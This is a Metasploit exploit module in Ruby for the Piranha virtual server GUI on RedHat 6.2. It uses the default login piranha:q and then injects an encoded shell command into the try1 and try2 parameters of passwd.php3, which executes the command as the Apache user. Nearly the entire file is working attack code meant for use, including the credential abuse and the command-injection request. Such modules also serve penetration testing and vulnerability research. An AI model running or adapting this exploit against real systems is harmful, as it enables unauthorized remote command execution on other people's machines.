RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
      'Description'    => %q{
        This module abuses two flaws - a metacharacter injection vulnerability in the
        HTTP management server of RedHat 6.2 systems running the Piranha
        LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
        The vulnerability allows an authenticated attacker to execute arbitrary
        commands as the Apache user account (nobody) within the
        /piranha/secure/passwd.php3 script. The package installs with a default
        user and password of piranha:q which was exploited in the wild.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          # Default password
          [ 'CVE', '2000-0248' ],
          [ 'OSVDB', '289' ],
          [ 'BID', '1148' ],
          # Command Execution
          [ 'CVE', '2000-0322' ],
          [ 'OSVDB', '1300' ],
          [ 'BID', '1149' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'BadChars'    => "\x22\x27", # magic_quotes_gpc
          # NOTE: We specify our own custom-ish encoder here.
          # This is due to lots of incompatabilities with the old RedHat 6.2 test system.
          # 1. inetd exists, but the syntax is no good.
          # 2. telnet exists
          # 3. /dev/tcp doesn't work.
          # 4. PHP's magic_quotes_gpc is on by default, causing escaping of single/double quotes.
          # 5. echo -ne doesn't work
          'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2000-04-04'))

    register_options(
      [
        OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
        OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'q'])
      ])
  end

  def exploit
    cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
    str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
    print_status("Sending GET request with encoded command line...")
    res = send_request_raw({
        'uri' => str,
        'method' => 'GET',
        'headers' =>
          {
            'content-type' => 'application/x-www-form-urlencoded',
          },
      }, 3)

    if not res
      print_error("Invalid response, not likely to be vulnerable")
      return
    end

    if res.code == 401
      print_error("401 Authorization Required! Our Credentials not accepted!")
    elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
      print_good("Command successfully executed (according to the server).")
    end
  end
end